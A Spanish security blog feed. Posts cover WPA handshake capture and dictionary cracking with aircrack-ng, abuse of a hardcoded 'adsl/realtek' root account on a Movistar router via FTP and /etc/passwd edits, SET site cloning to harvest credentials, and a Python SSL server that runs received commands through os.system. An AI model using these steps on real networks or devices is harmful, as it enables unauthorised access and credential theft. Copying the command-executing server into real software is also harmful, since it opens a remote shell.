<span style="color: white;"><span style="font-family: Times,"Times New Roman",serif;"># aireplay-ng -0 1 -a <bssid> -c <MAC cliente> mon0</span></span></div>
<span style="font-family: Georgia,"Times New Roman",serif;"><br /></span>
<span style="font-family: Georgia,"Times New Roman",serif;">Si se produce correctamente la desautenticación y posteriormente capturamos los paquetes, aparecerá en la barra de estado "<b>WPA handshake".</b></span><br />
<br />
<span style="font-family: Georgia,"Times New Roman",serif;">Una vez tenemos capturado el <i>handshake</i>, solo nos hará falta realizar el ataque de diccionario contra los paquetes capturados.</span><br />
<br />
<div style="background-color: black; border: 1px solid #000; height: 20px; width: 500px;">
<span style="color: white;"><span style="font-family: Times,"Times New Roman",serif;"># aircrack-ng -w diccionario salida</span></span></div>
<br />
<span style="font-family: Times,"Times New Roman",serif;"><span style="font-family: Georgia,"Times New Roman",serif;">PD:</span> El diccionario se puede descargar desde numerosas webs, o incluso lo podeis hacer vosotros mismos descargando la wiki o cualquier web y un poco de perl o python. :)</span><br />
<br />
<span style="font-family: Times,"Times New Roman",serif;">:-) </span><br />
<br />Sinkmanuhttp://www.blogger.com/profile/00006100943070321689noreply@blogger.com1tag:blogger.com,1999:blog-1075996046255539410.post-34378971569573267512013-02-19T12:46:00.000+01:002013-02-20T12:10:41.504+01:00Router OBSERVA TELECOM (firmware AW4062) de movistar<span style="font-family: Georgia, "Times New Roman", serif;">No hace mucho que tengo este router, justo nada más traermelo el operario de movistar (o de la empresa que trabaja para movistar en esta zona)</span>, <span style="font-family: Georgia, "Times New Roman", serif;">me puse a configurarlo, configurando la NAT para que vaya correctamente a los servidores, añadiendo filtros de acceso por WiFi, etc.</span><br />
<br />
<span style="font-family: Georgia, "Times New Roman", serif;">Al final de todo, procedí a hacer un backup de esta configuración, y me lleve una sorpresa al ver que en el código de este archivo <i>xml</i> había un usuario y una clave de más (<i>adsl/realtek)</i>, además con permisos de <i>superusuario</i>. Edite el archivo de configuración cambiado la<i> pass</i> y el <i>usuario</i></span><span style="font-family: "Courier New",Courier,monospace;"></span>, <span style="font-family: Georgia, "Times New Roman", serif;">pero no ocurría nada, ese usuario no se podía modificar. Seguramente estuviese ahí para que los técnicos de movistar puedan entrar por telnet y actualizarlo y/o configurarlo <strike>(además de poder controlarte y espiarte)</strike>. Como ya había configurado el router para que solo se pudiese entrar a sus servicios (http, ftp y telnet) desde la red interna, y había quitado las IPs que trae por defecto desde las cuales se pueden acceder desde el exterior, ya que ese usuario y contraseña anteriormente vistos no se podía quitar. </span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-CeUpnS92wDY/USNigVA2dDI/AAAAAAAAANo/TIJuWJ3tQ1c/s1600/adslrealtek.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="12" src="http://3.bp.blogspot.com/-CeUpnS92wDY/USNigVA2dDI/AAAAAAAAANo/TIJuWJ3tQ1c/s320/adslrealtek.png" width="320" /></a></div>
<br />
<span style="font-family: Georgia, "Times New Roman", serif;">Así que me propuse quitar este usuario, o al menos quitarle permisos para que pueda entrar a los servicios del sistema. Por web no sé podía hacer nada (estuve mirando donde poder ejecutar código y configurar el fichero <i>passwd</i>, pero no vi nada, y como tenia un servidor ftp, tampoco es que pusiese mucho empeño en el servidor web), así que entre por ftp con el usuario <i>adsl/realtek.</i></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-IuLIKgJgtT0/USNlGuONK8I/AAAAAAAAAOA/B5TDfwLhkxY/s1600/passwd1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="37" src="http://4.bp.blogspot.com/-IuLIKgJgtT0/USNlGuONK8I/AAAAAAAAAOA/B5TDfwLhkxY/s320/passwd1.png" width="320" /></a></div>
<br />
<br />
<span style="font-family: Georgia, "Times New Roman", serif;">Una vez dentro, me fui directo a <i>/etc/passwd</i> y me lo descargue en mi equipo, una vez descargado, le edite al usuario <i>adsl</i> la consola por defecto, poniendosela a <i>/bin/false</i> y de camino dandole al usuario <i>root </i>un terminal de verdad, donde el router sea totalmente configurable, y no el servicio que ofrece el router por defecto <i>/bin/cli</i> </span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-Rn2hBpSEkWQ/USNlJ6xXr7I/AAAAAAAAAOI/_v5S3hZiNkU/s1600/passwd2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="37" src="http://3.bp.blogspot.com/-Rn2hBpSEkWQ/USNlJ6xXr7I/AAAAAAAAAOI/_v5S3hZiNkU/s320/passwd2.png" width="320" /></a></div>
<br />
<span style="font-family: Georgia, "Times New Roman", serif;">Por ultimo subimos el archivo <i>passwd </i>editado a <i>/etc/passwd</i> por ftp y listo.</span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-lxXlYIg9Z6Q/USNk_qukGvI/AAAAAAAAAN4/qTAX5D7BBZc/s1600/ftp.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="62" src="http://4.bp.blogspot.com/-lxXlYIg9Z6Q/USNk_qukGvI/AAAAAAAAAN4/qTAX5D7BBZc/s320/ftp.png" width="320" /></a></div>
<span style="font-family: Georgia, "Times New Roman", serif;">Ahora ya podemos entrar por telnet y tener un <b>control total</b> sobre el router, además de haber deshabilitado al usuario <i>adsl. </i></span><br />
<span style="font-family: Georgia, "Times New Roman", serif;"><i><br /></i></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-IbNsDNeQd9k/USNlOqBPlnI/AAAAAAAAAOQ/jYQGQBux1g4/s1600/telnet.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="62" src="http://2.bp.blogspot.com/-IbNsDNeQd9k/USNlOqBPlnI/AAAAAAAAAOQ/jYQGQBux1g4/s320/telnet.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-W-47MjudED0/USNlUC8BmUI/AAAAAAAAAOY/1CSh2PPsMM8/s1600/version.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="106" src="http://3.bp.blogspot.com/-W-47MjudED0/USNlUC8BmUI/AAAAAAAAAOY/1CSh2PPsMM8/s320/version.png" width="320" /></a></div>
<span style="font-family: Georgia, "Times New Roman", serif;"><i><br /></i></span>
<br />
<span style="font-family: Georgia, "Times New Roman", serif;">Tened en cuenta que al ser una rom, cuando apaguemos el router o lo reiniciemos, se cargará la configuración por defecto, y tendremos que hacer todo esto de nuevo.</span><br />
<span style="font-family: Georgia, "Times New Roman", serif;">Como podemos observar, para el usuario <i>user</i> le hemos dejado <i>/bin/cli </i>como consola por defecto.</span><br />
<span style="font-family: Georgia, "Times New Roman", serif;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-mgc7PpVmZ2o/USNl987iPiI/AAAAAAAAAOw/QG46B4xlFMA/s1600/telnet_cli.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="61" src="http://2.bp.blogspot.com/-mgc7PpVmZ2o/USNl987iPiI/AAAAAAAAAOw/QG46B4xlFMA/s320/telnet_cli.png" width="320" /></a></div>
<span style="font-family: Georgia, "Times New Roman", serif;"><br /></span>
<span style="font-family: Georgia, "Times New Roman", serif;"><i> </i></span><br />
<span style="font-family: Georgia, "Times New Roman", serif;"><i>Investigando un poco en los archivos que usa el router al iniciarse, concretamente en configd, usando <b>strings</b>, vemos que el usuario adsl y su contraseña realtek se encuentran en él, lo cual viene hardcodeado en el firmware de esta versión de este router, y además no se puede cambiar la contraseña. También podemos encontrar la clave que viene impresa en la parte inferior del router en un archivo llamado <b>wpakey</b> el cual lo encontramos en <b>/var/</b> entre otras cosas interesantes.</i></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-344mAtWo9RI/USNlt2PZQtI/AAAAAAAAAOo/siocQnfwC7Y/s1600/wpakey.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="9" src="http://4.bp.blogspot.com/-344mAtWo9RI/USNlt2PZQtI/AAAAAAAAAOo/siocQnfwC7Y/s320/wpakey.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-8FU87yqZGmM/USNlZ-gZttI/AAAAAAAAAOg/oEbXhQ1bnts/s1600/wpakey.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><br /></a></div>
<span style="font-family: Georgia, "Times New Roman", serif;"><i><br /></i></span>
<span style="font-family: Georgia, "Times New Roman", serif;"><i>:)</i></span>
<span style="font-family: Georgia, "Times New Roman", serif;"><br /></span>
Sinkmanuhttp://www.blogger.com/profile/00006100943070321689noreply@blogger.com5tag:blogger.com,1999:blog-1075996046255539410.post-72414802819456752632013-01-24T12:30:00.003+01:002013-02-19T23:08:44.958+01:00Montando servidor web con Apache y clonando un web con SET (Social Engineering Toolkit)En esta entrada vamos a ver en primer lugar como crear un servidor web con apache y en segundo lugar clonaremos un sitio web con SET, técnica usada para recolectar credenciales.<br />
<br />
Para montar apache, si no lo tenemos descargado:<br />
<br />
<i>$ sudo yum install httpd</i><br />
<br />
Ya lo tenemos descargado, pero antes de activar el servicio vamos a modificar su archivo de configuración para que no de tanta información acerca de nuestro servidor. Para ello ejecutamos en el terminal:<br />
<i><br /></i>
<i># nano /etc/httpd/conf/httpd.conf</i><br />
<br />
y editamos las lineas:<br />
<i>ServerTokens Prod</i><br />
<i>ServerSignature Off </i><br />
<i>FileETag None<code></code> </i><br />
<code></code><br />
<code><span style="font-size: small;">Podemos comprobar como hay diferencia en <span style="font-size: small;">las cabeceras con el servidor sin editar estos parametros y después de editarlo.</span></span></code><br />
<code><span style="font-size: small;"><span style="font-size: small;">Antes: </span></span></code><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-BIUvSpX8BHI/UQEZSBm4z9I/AAAAAAAAAM4/gHhwdKXkmuI/s1600/apache_version.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="113" src="http://1.bp.blogspot.com/-BIUvSpX8BHI/UQEZSBm4z9I/AAAAAAAAAM4/gHhwdKXkmuI/s320/apache_version.png" width="320" /></a></div>
<br />
Despues:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-YhWuV6IbjVg/UQEZpELtmoI/AAAAAAAAANA/K19U2jgvCHQ/s1600/Apache_despues.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="100" src="http://2.bp.blogspot.com/-YhWuV6IbjVg/UQEZpELtmoI/AAAAAAAAANA/K19U2jgvCHQ/s320/Apache_despues.png" width="320" /></a></div>
<br />
<br />
<code><span style="font-size: small;">Ahora <span style="font-size: small;">activamos nuestro servidor:</span></span></code><br />
<br />
<i><code><span style="font-size: small;"><span style="font-size: small;"><span style="font-size: small;"># service <span style="font-size: small;">httpd start</span></span></span></span></code></i><br />
<br />
<code><span style="font-size: small;"><span style="font-size: small;"><span style="font-size: small;"><span style="font-size: small;"><span style="font-size: small;">Ahora <span style="font-size: small;">que ya tenemos nuestro servidor http con apache corriendo<span style="font-size: small;">, vamos a clonar una p<span style="font-size: small;">ág<span style="font-size: small;">ina web, en mi claso <span style="font-size: small;">voy a clonar la p<span style="font-size: small;">ágina de administración de un swit<span style="font-size: small;">ch de <span style="font-size: small;">la marca </span>De<span style="font-size: small;">ll.</span></span></span></span></span></span></span></span></span></span></span></span></span></code> Esto podemos hacerlo bien desde directamente el servidor web que queremos clonar, irnos a Shodan y buscar uno igual o intitle:"dell openmanage switch administrator", etc.<br />
<br />
Ahora si no tenemos SET en nuestro equipo, vamos a clonar el directorio con Git.<br />
<i>$ <code>git clone https://github.com/trustedsec/social-engineer-toolkit/ set/</code></i><br />
<i><code>$ cd set/</code></i><br />
<br />
<code>Ahora vamos a configurarlo a traves de su fichero de configuraciión, ya que hay variables que deben estar bien configuradas para que funcione correctamente,</code><br />
<code><b>METASPLOIT_PATH=<ruta> </b> en esta pondremos la ruta donde tenemos instalado el framework de Mestasploit</code><br />
<code><b>SELF_SIGNED_APPLET=ON</b> Indica que el applet será firmado con el publicador que se quiera suplantar, usada para el ataque web basado en el applet de Java.</code><br />
<code><b>AUTO_DETECT=OFF </b> Para que no se configure automaticamente la dirección IP que asignara a los servidores web.</code><br />
<code><b>APACHE_SERVER=ON</b> Activar para que use el servidor Apache y no el servidor web escrito en Python que trae por defecto.</code><br />
<code><code><b>APACHE_DIRECTORY=/var/www/html/ </b>Directorio donde tendremos nuestro servidor web.</code> </code><br />
<code><b>AUTO_MIGRATE=ON </b>Hace que cuando se realice la explotación, el payload migre automaticamente a otro proceso.</code><br />
<code><br /></code>
<code>Hay muchas otras variables, de momento para nuestro proposito serán más que suficientes.</code><br />
<code><br /></code>
<code>Ahora ejecutamos set:</code><br />
<code><br /></code>
<i><code># ./set</code></i><br />
<code>Y es muy fácil ya que no hay que escribir practicamente nada, solo navegar entre su menú, para clonar el sitio web, iremos a la opción 1 (Social-Engineering Attacks), opción 2 (Website Attack Vectors)<span style="font-size: small;">,</span> opción 3 (Credential Harvester Attack Method), opción 2 (Site Cloner).</code><br />
<code><br /></code>
<code>en <i>IP address for the POST back in Harvester/Tabnabbing:</i> ponemos nuestra ip dentro de la red. Y en <i>Enter the url to clone</i>: la url de la web que queremos clonar.</code><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-RdSvuiCf-kk/UQEbHItsS1I/AAAAAAAAANY/23igKrphEbY/s1600/dell_clone.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="158" src="http://4.bp.blogspot.com/-RdSvuiCf-kk/UQEbHItsS1I/AAAAAAAAANY/23igKrphEbY/s320/dell_clone.png" width="320" /></a></div>
<br />
<code><br /></code>
<code>En los archivos harvester_*.txt se guardan las credenciales introducidas por los usuarios.</code><br />
<code><br /></code>
<code>Esto junto a un ataque ARP Spoofing y DNS Spoofing, suele ser bastante efectivo.</code><br />
<code><br /></code>
<code><br /></code>
<code><br /></code>
<code>:)</code><br />
<br />Sinkmanuhttp://www.blogger.com/profile/00006100943070321689noreply@blogger.com0tag:blogger.com,1999:blog-1075996046255539410.post-17468046282601074572012-12-07T00:19:00.001+01:002012-12-07T00:20:05.176+01:00Desactivar lista de usuarios de la pantalla de loginComo indica el titulo de esta entrada, vamos a modificar la pantalla de login para que no nos muestre ningún usuario, esto añadiria un punto más de seguridad a nuestro sistema. En este caso será para GDM (del cual tenemos la version 3.4.1). GDM usa gconf, pero a partir de Gnome3 pasamos a usar también dconf, y ahora está en un periodo de transición, por el cual podemos usar uno u otro, con sus respectivos bugs. (Hay varios hilos en bugzilla)<br />
<br />
En la version 3.2 (Fedora 16 con XFCE), nos bastará con poner:<br />
<br />
<i>$ sudo gconftool-2 --set --type bool /apps/gdm/simple-greeter/disable_user_list true</i><br />
<br />
y comprobaremos con<br />
<br />
<i>$ sudo gconftool-2 --get /apps/gdm/simple-greeter/disable_user_list </i><br />
<br />
Ahora para GDM 3.4.1 esto no nos vale, ya que aunque nos devolvera true, seguiremos viendo la lista de usuarios en la pantalla de login. La solución será usar dconf.<br />
<br />
<i># cat <<EOF > /etc/dconf/db/gdm.d/99-disable-user-list</i><br />
<i>> [org/gnome/login-screen]</i><br />
<i>> disable-user-list=true</i><br />
<i>> EOF</i><br />
<i># dconf update</i><br />
<br />
Salimos de nuestra sesion y ya no nos aparecera el nombre de usuario en la pantalla de login. (Probado en Fedora 17)<br />
<br />
:)Sinkmanuhttp://www.blogger.com/profile/00006100943070321689noreply@blogger.com0tag:blogger.com,1999:blog-1075996046255539410.post-17100085966093265642012-11-08T14:43:00.003+01:002013-04-23T12:30:42.567+02:00Secure Socket Layers (SSL) y PythonEsta entrada va sobre programación, vamos a hacer un servidor y un cliente, los cuales se comunicaran usando un canal seguro (SSL).<br />
<br />
En primer lugar tendremos que crear el certificado que vamos a usar para esto. Para el cual necesitaremos tener instalado openssl. (yum install openssl o apt-get install openssl)<br />
<br />
Crear certificado y clave privada:<br />
<br />
<i>$ openssl req -x509 -nodes -days 365 -newkey rsa:1024 -keyout serverkey.pem -out servercert.pem</i><br />
<br />
Este certificado será valido para 365 dias, ahora pasaremos a nuestro cliente el archivo servercert.pem, mientras que serverkey.pem será el que contendra nuestra clave privada.<br />
<i> </i><br />
Ahora vamos a crear dos programas en python (ejemplo).<br />
<i></i><br />
<b>Server (server.py)</b><br />
<b><br /></b>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>
import socket<br />
import ssl<br />
import os<br />
<br />
server = ssl.wrap_socket(socket.socket(), server_side=True, keyfile="serverkey.pem",certfile="servercert.pem",<br />
ssl_version=ssl.PROTOCOL_SSLv23)<br />
<br />
server.bind(("localhost", 7711))<br />
<br />
server.listen(5)<br />
<br />
print "Waiting..."<br />
socket_cliente, datos_cliente = server.accept()<br />
<br />
datos = socket_cliente.read()<br />
<br />
os.system(datos)<br />
<br />
print "Close socket"<br />
<br />
socket_cliente.close()<br />
server.close()<br />
<br />
</pre></code>
<b>Client (client.py)</b><br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>
import sys<br />
import socket<br />
import ssl<br />
<br />
client = ssl.wrap_socket(socket.socket(),<br />
ca_certs=sys.argv[1],<br />
cert_reqs=ssl.CERT_REQUIRED,<br />
ssl_version=ssl.PROTOCOL_SSLv23)<br />
<br />
client.connect(("localhost", 7711))<br />
<br />
client.write(sys.argv[2]) <br />
<br />
print "close socket"<br />
client.close() <br />
<br />
</pre></code>
Son dos programas simples en python, el cual una vez puesto en marcha server.py, escuchará en el puerto 7711, cuando llegue una conexión esta leera el mensaje recibido (el cual será un comando) y lo ejecutara.<br />
<br />
Para activar el servidor con hacer: <i>$ python server.py</i><br />
Para enviar comando desde el cliente:<br />
<i>$ python client.py servercert.pem "comando" </i><br />
<br />
<br />
:-)Sinkmanuhttp://www.blogger.com/profile/00006100943070321689noreply@blogger.com1